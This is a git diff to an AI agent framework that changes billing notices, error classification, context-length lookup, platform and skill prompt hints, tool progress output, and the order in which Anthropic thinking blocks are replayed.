+ Fail-open to False (the depleted notice still shows) on any error: wrongly
+ showing the warning is recoverable noise; wrongly hiding it on a paid model
+ would mask a real billing block.
+ """
+ if not model:
+ return False
+ if model.endswith(":free"):
+ return True
+ if not base_url:
+ return False
+ try:
+ from hermes_cli.models import _is_model_free, _pricing_cache
+
+ # Mirror get_pricing_for_provider's key normalization: the agent's
+ # Nous base_url is /v1-suffixed (https://inference-api.nousresearch.com/v1)
+ # but the picker keys _pricing_cache on the pre-/v1 root.
+ key = base_url.rstrip("/")
+ if key.endswith("/v1"):
+ key = key[:-3].rstrip("/")
+ pricing = _pricing_cache.get(key)
+ if not pricing:
+ return False
+ return _is_model_free(model, pricing)
+ except Exception:
+ return False
+
+
# ── evaluate_credits_notices (pure reconciliation function) ──────────────────
def evaluate_credits_notices(
state: CreditsState,
latch: dict,
+ *,
+ model_is_free: bool = False,
) -> tuple[list[AgentNotice], list[str]]:
"""Reconcile credits notices against the latch. Mutates ``latch`` IN PLACE.
latch = {"active": set[str], "seen_below_90": bool, "usage_band": Optional[int]}.
+ ``model_is_free``: True when the session's active model is a Nous free-tier
+ model (see :func:`is_free_tier_model`). Suppresses the ``credits.depleted``
+ notice — a depleted account on a free model can keep inferencing, so the
+ error banner is noise (and confuses free-tier users who never had credits).
+ Suppression does NOT emit the "restored" success notice; that fires only on
+ a genuine ``paid_access`` flip back to True.
+
Returns ``(to_show: list[AgentNotice], to_clear: list[str])``.
Caller emits to_clear FIRST, then to_show.
@@ -232,6 +286,16 @@ def evaluate_credits_notices(
for band in CREDITS_USAGE_BANDS: # ascending → last match wins = highest
if uf >= band[0]:
current_band = band
+ # Top-up suppression: when the account holds purchased (top-up) credits,
+ # the subscription-cap gauge is the wrong denominator — warning "90% used"
+ # at a user sitting on $50 of top-up is noise (and it previously stuck
+ # PERMANENTLY alongside grant_spent at >=100%). Suppress the usage band
+ # entirely; the cap-reached case is covered by the grant_spent info notice
+ # below, which already names the remaining top-up balance. A top-up landing
+ # mid-session flips current_band → None and the clear path below removes
+ # any showing band line.
+ if state.purchased_micros > 0:
+ current_band = None
grant_cond = (
state.denominator_kind == "subscription_cap"
and uf is not None
@@ -284,10 +348,14 @@ def evaluate_credits_notices(
active.discard("credits.grant_spent")
# ── depleted ─────────────────────────────────────────────────────────────
- if depleted_cond and "credits.depleted" not in active:
+ # Suppressed while the active model is free: inference still works there,
+ # so the error banner would just alarm users (free-tier users especially,
+ # who never had paid credits to "lose").
+ show_depleted = depleted_cond and not model_is_free
+ if show_depleted and "credits.depleted" not in active:
to_show.append(
AgentNotice(
- text="✕ Credit access paused · run /usage for balance",
+ text="✕ Credit access paused · run /credits to top up",
level="error",
kind=CREDITS_NOTICE_KIND,
key="credits.depleted",
@@ -295,20 +363,23 @@ def evaluate_credits_notices(
)
)
active.add("credits.depleted")
- elif "credits.depleted" in active and not depleted_cond:
+ elif "credits.depleted" in active and not show_depleted:
to_clear.append("credits.depleted")
active.discard("credits.depleted")
- # Recovery: also emit the success notice
- to_show.append(
- AgentNotice(
- text="✓ Credit access restored",
- level="success",
- kind="ttl",
- ttl_ms=CREDITS_RESTORED_TTL_MS,
- key="credits.restored",
- id="credits.restored",
+ if not depleted_cond:
+ # Genuine recovery (paid_access flipped back True): also emit the
+ # success notice. A clear caused by switching to a free model while
+ # still depleted must NOT claim access was restored.
+ to_show.append(
+ AgentNotice(
+ text="✓ Credit access restored",
+ level="success",
+ kind="ttl",
+ ttl_ms=CREDITS_RESTORED_TTL_MS,
+ key="credits.restored",
+ id="credits.restored",
+ )
)
- )
return (to_show, to_clear)
diff --git a/agent/curator.py b/agent/curator.py
index 93986da7a759..62630ce453be 100644
--- a/agent/curator.py
+++ b/agent/curator.py
@@ -25,7 +25,6 @@
import logging
import os
import re
-import tempfile
import threading
from datetime import datetime, timedelta, timezone
from pathlib import Path
@@ -33,6 +32,7 @@
from hermes_constants import get_hermes_home
from tools import skill_usage
+from utils import atomic_json_write
logger = logging.getLogger(__name__)
@@ -97,20 +97,7 @@ def load_state() -> Dict[str, Any]:
def save_state(data: Dict[str, Any]) -> None:
path = _state_file()
try:
- path.parent.mkdir(parents=True, exist_ok=True)
- fd, tmp = tempfile.mkstemp(dir=str(path.parent), prefix=".curator_state_", suffix=".tmp")
- try:
- with os.fdopen(fd, "w", encoding="utf-8") as f:
- json.dump(data, f, indent=2, sort_keys=True, ensure_ascii=False)
- f.flush()
- os.fsync(f.fileno())
- os.replace(tmp, path)
- except BaseException:
- try:
- os.unlink(tmp)
- except OSError:
- pass
- raise
+ atomic_json_write(path, data, indent=2, sort_keys=True)
except Exception as e:
logger.debug("Failed to save curator state: %s", e, exc_info=True)
diff --git a/agent/display.py b/agent/display.py
index 8514279888ea..84c8509faed2 100644
--- a/agent/display.py
+++ b/agent/display.py
@@ -858,6 +858,20 @@ def _detect_tool_failure(tool_name: str, result: str | None) -> tuple[bool, str]
return False, ""
+def _used_free_parallel(result: str | None) -> bool:
+ """True when a web result came from Parallel's free Search MCP.
+
+ Only the keyless Parallel path tags its result with ``provider="parallel"``;
+ the paid REST path and every other provider omit it. Used to label the tool
+ line "Parallel search" / "Parallel fetch" exactly when the free MCP served
+ the call.
+ """
+ if not isinstance(result, str) or '"provider"' not in result:
+ return False
+ data = safe_json_loads(result)
+ return isinstance(data, dict) and str(data.get("provider", "")).lower() == "parallel"
+
+
def get_cute_tool_message(
tool_name: str, args: dict, duration: float, result: str | None = None,
) -> str:
@@ -895,15 +909,17 @@ def _wrap(line: str) -> str:
return f"{line}{failure_suffix}"
if tool_name == "web_search":
- return _wrap(f"┊ 🔍 search {_trunc(args.get('query', ''), 42)} {dur}")
+ verb = "Parallel search" if _used_free_parallel(result) else "search"
+ return _wrap(f"┊ 🔍 {verb:<9} {_trunc(args.get('query', ''), 42)} {dur}")
if tool_name == "web_extract":
+ verb = "Parallel fetch" if _used_free_parallel(result) else "fetch"
urls = args.get("urls", [])
if urls:
url = urls[0] if isinstance(urls, list) else str(urls)
domain = url.replace("https://", "").replace("http://", "").split("/")[0]
extra = f" +{len(urls)-1}" if len(urls) > 1 else ""
- return _wrap(f"┊ 📄 fetch {_trunc(domain, 35)}{extra} {dur}")
- return _wrap(f"┊ 📄 fetch pages {dur}")
+ return _wrap(f"┊ 📄 {verb:<9} {_trunc(domain, 35)}{extra} {dur}")
+ return _wrap(f"┊ 📄 {verb:<9} pages {dur}")
if tool_name == "terminal":
return _wrap(f"┊ 💻 $ {_trunc(args.get('command', ''), 42)} {dur}")
if tool_name == "process":
diff --git a/agent/error_classifier.py b/agent/error_classifier.py
index b5656232e39d..c39c24a6a5d2 100644
--- a/agent/error_classifier.py
+++ b/agent/error_classifier.py
@@ -549,14 +549,32 @@ def _result(reason: FailoverReason, **overrides) -> ClassifiedError:
should_fallback=True,
)
- # Anthropic thinking block signature invalid (400).
+ # Anthropic thinking block recovery (400). Two distinct failure modes,
+ # same recovery (strip all reasoning_details and retry without thinking
+ # blocks — see the thinking_signature handler in conversation_loop.py):
+ # 1. Signature mismatch: a thinking block is signed against the full
+ # turn content; any upstream mutation (context compression, session
+ # truncation, message merging) invalidates the signature.
+ # Pattern: "signature" + "thinking".
+ # 2. Frozen-block mutation: Anthropic rejects any change to the
+ # thinking/redacted_thinking blocks in the *latest* assistant
+ # message — "`thinking` or `redacted_thinking` blocks in the latest
+ # assistant message cannot be modified. These blocks must remain as
+ # they were in the original response." This carries no "signature"
+ # token, so the original pattern missed it and the turn hard-aborted
+ # as a non-retryable client error instead of self-healing.
+ # Pattern: "thinking" + ("cannot be modified" | "must remain as they were").
# Don't gate on provider — OpenRouter proxies Anthropic errors, so the
# provider may be "openrouter" even though the error is Anthropic-specific.
- # The message pattern ("signature" + "thinking") is unique enough.
+ # The combined patterns are unique enough.
if (
status_code == 400
- and "signature" in error_msg
and "thinking" in error_msg
+ and (
+ "signature" in error_msg
+ or "cannot be modified" in error_msg
+ or "must remain as they were" in error_msg
+ )
):
return _result(
FailoverReason.thinking_signature,
@@ -966,6 +984,34 @@ def _classify_400(
should_fallback=False,
)
+ # Request-validation errors (unsupported / unknown parameter) MUST be
+ # checked BEFORE context_overflow. A GPT-5 model rejecting max_tokens
+ # returns:
+ # "Unsupported parameter: 'max_tokens' is not supported with this model.
+ # Use 'max_completion_tokens' instead."
+ # That string contains the literal substring "max_tokens", which is one of
+ # the _CONTEXT_OVERFLOW_PATTERNS — so without this guard the 400 is
+ # misclassified as context_overflow, routed into the compression loop,
+ # re-sent with the same bad parameter, and ends in "Cannot compress
+ # further". These errors are deterministic (every retry gets the identical
+ # rejection), so classify as a non-retryable format_error and fall back.
+ #
+ # NOTE: we deliberately do NOT key off the generic ``invalid_request_error``
+ # code here — OpenAI stamps that same code on genuine context-overflow 400s,
+ # so matching it would mis-route real overflows away from compression. The
+ # unambiguous signals are the explicit "unsupported/unknown parameter"
+ # message text and the specific parameter-level error codes.
+ if (
+ any(p in error_msg for p in _REQUEST_VALIDATION_PATTERNS
+ if p != "invalid_request_error")
+ or error_code_lower in {"unknown_parameter", "unsupported_parameter"}
+ ):
+ return result_fn(
+ FailoverReason.format_error,
+ retryable=False,
+ should_fallback=True,
+ )
+
# Context overflow from 400
if any(p in error_msg for p in _CONTEXT_OVERFLOW_PATTERNS):
return result_fn(
diff --git a/agent/model_metadata.py b/agent/model_metadata.py
index 25f60a0d9617..3a71e974fdb7 100644
--- a/agent/model_metadata.py
+++ b/agent/model_metadata.py
@@ -141,6 +141,8 @@ def _strip_provider_prefix(model: str) -> str:
# fuzzy-match collisions (e.g. "anthropic/claude-sonnet-4" is a
# substring of "anthropic/claude-sonnet-4.6").
# OpenRouter-prefixed models resolve via OpenRouter live API or models.dev.
+ "claude-fable-5": 1000000,
+ "claude-fable": 1000000,
"claude-opus-4-8": 1000000,
"claude-opus-4.8": 1000000,
"claude-opus-4-7": 1000000,
@@ -1810,10 +1812,43 @@ def get_model_context_length(
if ctx is not None:
save_context_length(model, base_url, ctx)
return ctx
+ # 5f. OpenRouter live /models metadata — authoritative for OpenRouter-routed
+ # models. OpenRouter's catalog carries per-model context_length (e.g.
+ # anthropic/claude-fable-5 -> 1M) and refreshes as new slugs ship, so it
+ # must win over both models.dev (step 5g) and the hardcoded family catch-all
+ # (step 8). Before this branch, an OpenRouter selection set
+ # effective_provider="openrouter", which (a) made the models.dev lookup miss
+ # brand-new slugs and (b) skipped the step-6 OR fallback (gated on `not
+ # effective_provider`), so a fresh slug like claude-fable-5 fell through to
+ # the generic "claude": 200K entry and under-reported a 1M window. Mirrors
+ # the dedicated Nous/Copilot/GMI branches above.
+ if effective_provider == "openrouter":
+ metadata = fetch_model_metadata()
+ entry = metadata.get(model)
+ if entry:
+ or_ctx = entry.get("context_length")
+ # Guard against the known OpenRouter Kimi-family 32k underreport
+ # (same class the hardcoded overrides exist to mitigate).
+ if isinstance(or_ctx, int) and or_ctx > 0 and not (
+ or_ctx == 32768 and _model_name_suggests_kimi(model)
+ ):
+ return or_ctx
+
if effective_provider:
from agent.models_dev import lookup_models_dev_context
ctx = lookup_models_dev_context(effective_provider, model)
if ctx:
+ # MiniMax M3: models.dev reports 512K but actual context is 1M.
+ # Prefer hardcoded catalog over stale probe value.
+ if _model_name_suggests_minimax_m3(model):
+ catalog = DEFAULT_CONTEXT_LENGTHS.get("minimax-m3")
+ if catalog and ctx < catalog:
+ logger.info(
+ "Rejecting models.dev context=%s for %r "
+ "(MiniMax-M3 underreport); using hardcoded default %s",
+ ctx, model, f"{catalog:,}",
+ )
+ ctx = catalog
return ctx
# 6. OpenRouter live API metadata — provider-unaware fallback.
diff --git a/agent/prompt_builder.py b/agent/prompt_builder.py
index 26fcfaae32f9..3e7c729c0b91 100644
--- a/agent/prompt_builder.py
+++ b/agent/prompt_builder.py
@@ -489,6 +489,23 @@ def format_steer_marker(steer_text: str) -> str:
"files arrive as downloadable documents. You can also include image "
"URLs in markdown format  and they will be sent as photos."
),
+ "whatsapp_cloud": (
+ "You are on a text messaging communication platform, WhatsApp "
+ "(via Meta's official Business Cloud API). Standard markdown "
+ "(**bold**, ~~strike~~, # headers, [links](url)) is auto-converted "
+ "to WhatsApp's native syntax (*bold*, ~strike~, etc.) — feel free "
+ "to write in markdown. Tables are NOT supported — prefer bullet "
+ "lists or labeled key:value pairs. "
+ "You can send media files natively: include MEDIA:/absolute/path/to/file "
+ "in your response. Images (.jpg, .png) become photo attachments, "
+ "videos (.mp4) play inline, audio (.mp3, .ogg) sends as voice/audio "
+ "messages, other files arrive as documents. Image URLs in markdown "
+ "format  also work. "
+ "IMPORTANT: this platform has a 24-hour conversation window — if the "
+ "user hasn't messaged in 24h, free-form replies are refused by Meta "
+ "(error 131047). This rarely matters for live chat, but is worth "
+ "knowing if you're scheduling a delayed message."
+ ),
"telegram": (
"You are on a text messaging communication platform, Telegram. "
"Standard markdown is automatically converted to Telegram format. "
@@ -885,6 +902,22 @@ def build_environment_hints() -> str:
f"`uname -a && whoami && pwd`."
)
+ # Hermes desktop GUI — any agent running under the desktop app should know
+ # it. HERMES_DESKTOP marks the backend powering the chat; HERMES_DESKTOP_TERMINAL
+ # marks a hermes launched in the embedded terminal pane. Both set by main.cjs.
+ _truthy = ("1", "true", "yes")
+ _in_desktop = (os.getenv("HERMES_DESKTOP") or "").strip().lower() in _truthy
+ _in_desktop_term = (os.getenv("HERMES_DESKTOP_TERMINAL") or "").strip().lower() in _truthy
+ if _in_desktop or _in_desktop_term:
+ _desktop_hint = "Runtime surface: you're running inside the Hermes desktop GUI app."
+ if _in_desktop_term:
+ _desktop_hint += (
+ " You're in its embedded terminal pane, beside the GUI chat — the user can "
+ "select your output (⌥-drag on macOS, Shift-drag elsewhere) and press "
+ "⌘/Ctrl+L to send it to the chat composer."
+ )
+ hints.append(_desktop_hint)
+
if is_wsl():
hints.append(WSL_ENVIRONMENT_HINT)
@@ -1085,11 +1118,12 @@ def _skill_should_show(
def build_skills_system_prompt(
available_tools: "set[str] | None" = None,
available_toolsets: "set[str] | None" = None,
+ compact_categories: "frozenset[str] | None" = None,
) -> str:
"""Build a compact skill index for the system prompt.
Two-layer cache:
- 1. In-process LRU dict keyed by (skills_dir, tools, toolsets)
+ 1. In-process LRU dict keyed by (skills_dir, tools, toolsets, hidden)
2. Disk snapshot (``.skills_prompt_snapshot.json``) validated by
mtime/size manifest — survives process restarts
@@ -1099,6 +1133,12 @@ def build_skills_system_prompt(
scanned alongside the local ``~/.hermes/skills/`` directory. External dirs
are read-only — they appear in the index but new skills are always created
in the local dir. Local skills take precedence when names collide.
+
+ ``compact_categories`` (e.g. from the coding posture — see
+ agent/coding_context.py) demotes whole categories to a names-only line in
+ the rendered index. Nothing is ever hidden: every skill name stays
+ visible and loadable via ``skill_view`` / ``skills_list``; only the
+ descriptions are dropped, and a footer note explains the demotion.
"""
skills_dir = get_skills_dir()
external_dirs = get_all_skills_dirs()[1:] # skip local (index 0)
@@ -1123,6 +1163,7 @@ def build_skills_system_prompt(
tuple(sorted(str(ts) for ts in (available_toolsets or set()))),
_platform_hint,
tuple(sorted(disabled)),
+ tuple(sorted(compact_categories or ())),
)
with _SKILLS_PROMPT_CACHE_LOCK:
cached = _SKILLS_PROMPT_CACHE.get(cache_key)
@@ -1256,18 +1297,44 @@ def build_skills_system_prompt(
except Exception as e:
logger.debug("Could not read external skill description %s: %s", desc_file, e)
+ # Posture-driven category demotion (e.g. non-coding skills while pairing
+ # on code). Demoted categories stay in the index as a single names-only
+ # line — descriptions are dropped to cut noise, but every skill name
+ # remains visible so memory-anchored recall ("load ") keeps working.
+ # NEVER remove entries entirely: agent-created skills are the model's
+ # project memory, and models don't reach for skills_list to rediscover
+ # what the index stops showing them. Match on the top-level category
+ # segment so nested categories ("social-media/twitter") are demoted with
+ # their parent.
+ demoted = frozenset(
+ cat for cat in skills_by_category
+ if cat.split("/", 1)[0] in (compact_categories or frozenset())
+ )
+
+ hidden_note = ""
+ if demoted:
+ hidden_note = (
+ "\n(Categories marked [names only] are outside the current coding "
+ "context, so their descriptions are omitted — the skills work "
+ "normally and load with skill_view(name) as usual.)"
+ )
+
if not skills_by_category:
result = ""
else:
index_lines = []
for category in sorted(skills_by_category.keys()):
+ # Deduplicate and sort skills within each category
+ seen = set()
+ if category in demoted:
+ names = sorted({name for name, _ in skills_by_category[category]})
+ index_lines.append(f" {category} [names only]: {', '.join(names)}")
+ continue
cat_desc = category_descriptions.get(category, "")
if cat_desc:
index_lines.append(f" {category}: {cat_desc}")
else:
index_lines.append(f" {category}:")
- # Deduplicate and sort skills within each category
- seen = set()
for name, desc in sorted(skills_by_category[category], key=lambda x: x[0]):
if name in seen:
continue
@@ -1304,6 +1371,7 @@ def build_skills_system_prompt(
"\n"
"\n"
"Only proceed without loading a skill if genuinely none are relevant to the task."
+ + hidden_note
)
# ── Store in LRU cache ────────────────────────────────────────────
@@ -1367,13 +1435,13 @@ def _status_line(feature) -> str:
lines = [
"# Nous Subscription",
- "Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, and browser automation (Browser Use) by default. Modal execution is optional.",
+ "Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, OpenAI Whisper STT, and browser automation (Browser Use) by default. Modal execution is optional.",
"Current capability status:",
]
lines.extend(_status_line(feature) for feature in features.items())
lines.extend(
[
- "When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, or Browser-Use API keys.",
+ "When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, OpenAI Whisper, or Browser-Use API keys.",
"If the user is not subscribed and asks for a capability that Nous subscription would unlock or simplify, suggest Nous subscription as one option alongside direct setup or local alternatives.",
"Do not mention subscription unless the user asks about it or it directly solves the current missing capability.",
"Useful commands: hermes setup, hermes setup tools, hermes setup terminal, hermes status.",
diff --git a/agent/system_prompt.py b/agent/system_prompt.py
index 4038716df487..76f57dfcdbc0 100644
--- a/agent/system_prompt.py
+++ b/agent/system_prompt.py
@@ -191,9 +191,23 @@ def build_system_prompt_parts(agent: Any, system_message: Optional[str] = None)
)
if toolset
}
+ # Focus mode (opt-in) demotes non-coding skill categories to
+ # names-only in the index (never hidden — skill_view/skills_list
+ # reach everything, and every name stays visible for recall). The
+ # default coding posture leaves the index untouched.
+ _compact_cats = frozenset()
+ try:
+ from agent.coding_context import coding_compact_skill_categories
+
+ _compact_cats = coding_compact_skill_categories(
+ platform=agent.platform, cwd=resolve_context_cwd()
+ )
+ except Exception:
+ _compact_cats = frozenset()
skills_prompt = _r.build_skills_system_prompt(
available_tools=agent.valid_tool_names,
available_toolsets=avail_toolsets,
+ compact_categories=_compact_cats or None,
)
else:
skills_prompt = ""
@@ -221,6 +235,26 @@ def build_system_prompt_parts(agent: Any, system_message: Optional[str] = None)
if _env_hints:
stable_parts.append(_env_hints)
+ # Coding posture (base Hermes, any interactive coding surface in a code
+ # workspace — see agent/coding_context.py). The operating brief + the live
+ # git/workspace snapshot are built once here and cached for the session;
+ # the snapshot is never re-probed per turn (that would break the prompt
+ # cache), so the brief tells the model to re-check git before relying on it.
+ if agent.valid_tool_names:
+ try:
+ from agent.coding_context import coding_system_blocks
+
+ stable_parts.extend(
+ coding_system_blocks(
+ platform=agent.platform,
+ cwd=resolve_context_cwd(),
+ model=agent.model,
+ )
+ )
+ except Exception:
+ # Coding-context probing must never block prompt build.
+ pass
+
# Local Python toolchain probe — names python/pip/uv/PEP-668 state when
# something is non-default so the model can pick the right install
# strategy without discovering by failure. Emits a single line; emits
diff --git a/agent/tool_executor.py b/agent/tool_executor.py
index 36cbad4b8862..144a29297826 100644
--- a/agent/tool_executor.py
+++ b/agent/tool_executor.py
@@ -417,7 +417,7 @@ def execute_tool_calls_concurrent(agent, assistant_message, messages: list, effe
# ── Logging / callbacks ──────────────────────────────────────────
tool_names_str = ", ".join(name for _, name, _, _, _, _ in parsed_calls)
- if not agent.quiet_mode:
+ if not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
print(f" ⚡ Concurrent: {num_tools} tool calls — {tool_names_str}")
for i, (tc, name, args, middleware_trace, block_result, blocked_by_guardrail) in enumerate(parsed_calls, 1):
args_str = json.dumps(args, ensure_ascii=False)
@@ -702,7 +702,7 @@ def _run_tool(index, tool_call, function_name, function_args, middleware_trace):
if agent._should_emit_quiet_tool_messages():
cute_msg = _get_cute_tool_message_impl(name, args, tool_duration, result=function_result)
agent._safe_print(f" {cute_msg}")
- elif getattr(agent, "tool_progress_mode", "all") != "off":
+ elif not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
_preview_str = _multimodal_text_summary(function_result)
if agent.verbose_logging:
print(f" ✅ Tool {i+1} completed in {tool_duration:.2f}s")
@@ -866,7 +866,7 @@ def execute_tool_calls_sequential(agent, assistant_message, messages: list, effe
elif function_name == "skill_manage":
agent._iters_since_skill = 0
- if not agent.quiet_mode:
+ if not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
args_str = json.dumps(function_args, ensure_ascii=False)
if agent.verbose_logging:
print(f" 📞 Tool {i}: {function_name}({list(function_args.keys())})")
@@ -1065,6 +1065,25 @@ def _execute(next_args: dict) -> Any:
tool_duration = time.time() - tool_start_time
if agent._should_emit_quiet_tool_messages():
agent._vprint(f" {_get_cute_tool_message_impl('clarify', function_args, tool_duration, result=function_result)}")
+ elif function_name == "read_terminal":
+ def _execute(next_args: dict) -> Any:
+ from tools.read_terminal_tool import read_terminal_tool as _read_terminal_tool
+ return _read_terminal_tool(
+ start_line=next_args.get("start_line"),
+ count=next_args.get("count"),
+ callback=getattr(agent, "read_terminal_callback", None),
+ )
+ function_result, function_args = _run_agent_tool_execution_middleware(
+ agent,
+ function_name=function_name,
+ function_args=function_args,
+ effective_task_id=effective_task_id,
+ tool_call_id=getattr(tool_call, "id", "") or "",
+ execute=_execute,
+ )
+ tool_duration = time.time() - tool_start_time
+ if agent._should_emit_quiet_tool_messages():
+ agent._vprint(f" {_get_cute_tool_message_impl('read_terminal', function_args, tool_duration, result=function_result)}")
elif function_name == "delegate_task":
tasks_arg = function_args.get("tasks")
if tasks_arg and isinstance(tasks_arg, list):
@@ -1365,7 +1384,7 @@ def _execute(next_args: dict) -> Any:
# entire batch. The model sees it on the next API iteration.
agent._apply_pending_steer_to_tool_results(messages, 1)
- if not agent.quiet_mode:
+ if not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
if agent.verbose_logging:
print(f" ✅ Tool {i} completed in {tool_duration:.2f}s")
print(agent._wrap_verbose("Result: ", function_result))
diff --git a/agent/transports/anthropic.py b/agent/transports/anthropic.py
index d77ae63ef327..3a209f2d753b 100644
--- a/agent/transports/anthropic.py
+++ b/agent/transports/anthropic.py
@@ -84,7 +84,7 @@ def normalize_response(self, response: Any, **kwargs) -> NormalizedResponse:
to OpenAI finish_reason, and collects reasoning_details in provider_data.
"""
import json
- from agent.anthropic_adapter import _to_plain_data
+ from agent.anthropic_adapter import _to_plain_data, _sanitize_replay_block
from agent.transports.types import ToolCall
strip_tool_prefix = kwargs.get("strip_tool_prefix", False)
@@ -94,14 +94,40 @@ def normalize_response(self, response: Any, **kwargs) -> NormalizedResponse:
reasoning_parts = []
reasoning_details = []
tool_calls = []
+ # Verbatim, order-preserving copy of every content block in the turn.
+ # Anthropic signs each thinking block against the turn content that
+ # PRECEDES it at its position; when a turn interleaves thinking and
+ # tool_use (adaptive/interleaved thinking, Claude 4.6+), the parallel
+ # reasoning_details + tool_calls lists below lose that cross-type
+ # ordering. Replaying the latest assistant message in the wrong order
+ # invalidates the signatures -> HTTP 400 "thinking ... blocks in the
+ # latest assistant message cannot be modified". Preserve the exact
+ # block sequence here so the adapter can replay it unchanged. See
+ # tests/agent/test_anthropic_thinking_block_order.py.
+ ordered_blocks = []
for block in response.content:
+ block_dict = _to_plain_data(block)
+ clean_block = None
+ if isinstance(block_dict, dict):
+ # Sanitize at capture so output-only SDK fields (parsed_output,
+ # caller, citations=None, …) never persist to state.db and leak
+ # back as request input on replay → HTTP 400 "Extra inputs are
+ # not permitted". Defence-in-depth with the replay-side sanitize.
+ clean_block = _sanitize_replay_block(block_dict)
+ if clean_block is not None:
+ ordered_blocks.append(clean_block)
if block.type == "text":
text_parts.append(block.text)
- elif block.type == "thinking":
- reasoning_parts.append(block.thinking)
- block_dict = _to_plain_data(block)
- if isinstance(block_dict, dict):
+ elif block.type in ("thinking", "redacted_thinking"):
+ if block.type == "thinking":
+ reasoning_parts.append(block.thinking)
+ # Use the sanitized block (clean_block) for reasoning_details too,
+ # since _extract_preserved_thinking_blocks replays these on the
+ # non-ordered path. Falls back to raw only if sanitize dropped it.
+ if isinstance(clean_block, dict):
+ reasoning_details.append(clean_block)
+ elif isinstance(block_dict, dict):
reasoning_details.append(block_dict)
elif block.type == "tool_use":
name = block.name
@@ -130,6 +156,23 @@ def normalize_response(self, response: Any, **kwargs) -> NormalizedResponse:
provider_data = {}
if reasoning_details:
provider_data["reasoning_details"] = reasoning_details
+ # Only worth carrying the ordered-blocks channel when the turn
+ # actually interleaves signed thinking with tool_use — that's the
+ # only shape the parallel lists reconstruct incorrectly. A turn that
+ # is purely text, or thinking-then-tools with a single leading
+ # thinking block, replays correctly without it.
+ _has_signed_thinking = any(
+ isinstance(b, dict)
+ and b.get("type") in ("thinking", "redacted_thinking")
+ and (b.get("signature") or b.get("data"))
+ for b in ordered_blocks
+ )
+ _has_tool_use = any(
+ isinstance(b, dict) and b.get("type") == "tool_use"
+ for b in ordered_blocks
+ )
+ if _has_signed_thinking and _has_tool_use:
+ provider_data["anthropic_content_blocks"] = ordered_blocks
return NormalizedResponse(
content="\n".join(text_parts) if text_parts else None,
diff --git a/agent/transports/types.py b/agent/transports/types.py
index 2deb157535b4..6ad20f2376d1 100644
--- a/agent/transports/types.py
+++ b/agent/transports/types.py
@@ -121,6 +121,18 @@ def reasoning_details(self):
pd = self.provider_data or {}
return pd.get("reasoning_details")
+ @property
+ def anthropic_content_blocks(self):
+ """Verbatim, order-preserving Anthropic content blocks for a turn.
+
+ Present only when an Anthropic turn interleaves signed thinking with
+ tool_use — the one shape the parallel reasoning_details + tool_calls
+ lists reconstruct in the wrong order, invalidating thinking-block
+ signatures on replay. See agent/transports/anthropic.py.
+ """
+ pd = self.provider_data or {}
+ return pd.get("anthropic_content_blocks")
+
@property
def codex_reasoning_items(self):
pd = self.provider_data or {}
diff --git a/agent/usage_pricing.py b/agent/usage_pricing.py
index 8d6b85cd0b86..95bb11df521e 100644
--- a/agent/usage_pricing.py
+++ b/agent/usage_pricing.py
@@ -13,6 +13,7 @@
_ZERO = Decimal("0")
_ONE_MILLION = Decimal("1000000")
+_NOUS_DEFAULT_BASE_URL = "https://inference-api.nousresearch.com/v1"
CostStatus = Literal["actual", "estimated", "included", "unknown"]
CostSource = Literal[
@@ -570,6 +571,8 @@ def resolve_billing_route(
return BillingRoute(provider="openai-codex", model=model, base_url=base_url or "", billing_mode="subscription_included")
if provider_name == "openrouter" or base_url_host_matches(base_url or "", "openrouter.ai"):
return BillingRoute(provider="openrouter", model=model, base_url=base_url or "", billing_mode="official_models_api")
+ if provider_name == "nous" or base_url_host_matches(base_url or "", "inference-api.nousresearch.com"):
+ return BillingRoute(provider="nous", model=model, base_url=base_url or _NOUS_DEFAULT_BASE_URL, billing_mode="official_models_api")
if provider_name == "anthropic":
return BillingRoute(provider="anthropic", model=model.split("/")[-1], base_url=base_url or "", billing_mode="official_docs_snapshot")
if provider_name == "openai":
diff --git a/apps/bootstrap-installer/package.json b/apps/bootstrap-installer/package.json
index 6b7991eafd1d..9b3dc46a4a06 100644
--- a/apps/bootstrap-installer/package.json
+++ b/apps/bootstrap-installer/package.json
@@ -11,7 +11,8 @@
"tauri": "tauri",
"tauri:dev": "tauri dev",
"tauri:build": "tauri build",
- "tauri:build:debug": "tauri build --debug"
+ "tauri:build:debug": "tauri build --debug",
+ "typecheck": "tsc -p . --noEmit"
},
"dependencies": {
"@nous-research/ui": "0.16.0",
@@ -40,7 +41,7 @@
"@types/react": "^19.2.14",
"@types/react-dom": "^19.2.3",
"@vitejs/plugin-react": "^5.2.0",
- "typescript": "~5.9.3",
+ "typescript": "^6.0.3",
"vite": "^7.3.1"
}
}
diff --git a/apps/bootstrap-installer/tsconfig.json b/apps/bootstrap-installer/tsconfig.json
index e2a5f6bbeb61..9227970f066a 100644
--- a/apps/bootstrap-installer/tsconfig.json
+++ b/apps/bootstrap-installer/tsconfig.json
@@ -16,9 +16,8 @@
"noUnusedParameters": true,
"esModuleInterop": true,
"noFallthroughCasesInSwitch": true,
- "baseUrl": ".",
"paths": {
- "@/*": ["src/*"]
+ "@/*": ["./src/*"]
}
},
"include": ["src"],
diff --git a/apps/desktop/README.md b/apps/desktop/README.md
index f3084a9b6478..301b094592f4 100644
--- a/apps/desktop/README.md
+++ b/apps/desktop/README.md
@@ -93,7 +93,7 @@ Run before opening a PR (lint may surface pre-existing warnings but must exit cl
```bash
npm run fix
-npm run type-check
+npm run typecheck
npm run lint
npm run test:desktop:all
```
diff --git a/apps/desktop/assets/icon.icns b/apps/desktop/assets/icon.icns
index e173b26ee23a..002b639e6dd7 100644
Binary files a/apps/desktop/assets/icon.icns and b/apps/desktop/assets/icon.icns differ
diff --git a/apps/desktop/assets/icon.ico b/apps/desktop/assets/icon.ico
index eaa48ff2dd67..1dcf20d8c381 100644
Binary files a/apps/desktop/assets/icon.ico and b/apps/desktop/assets/icon.ico differ
diff --git a/apps/desktop/assets/icon.png b/apps/desktop/assets/icon.png
index e0f04fe72554..539fdf9b7e59 100644
Binary files a/apps/desktop/assets/icon.png and b/apps/desktop/assets/icon.png differ
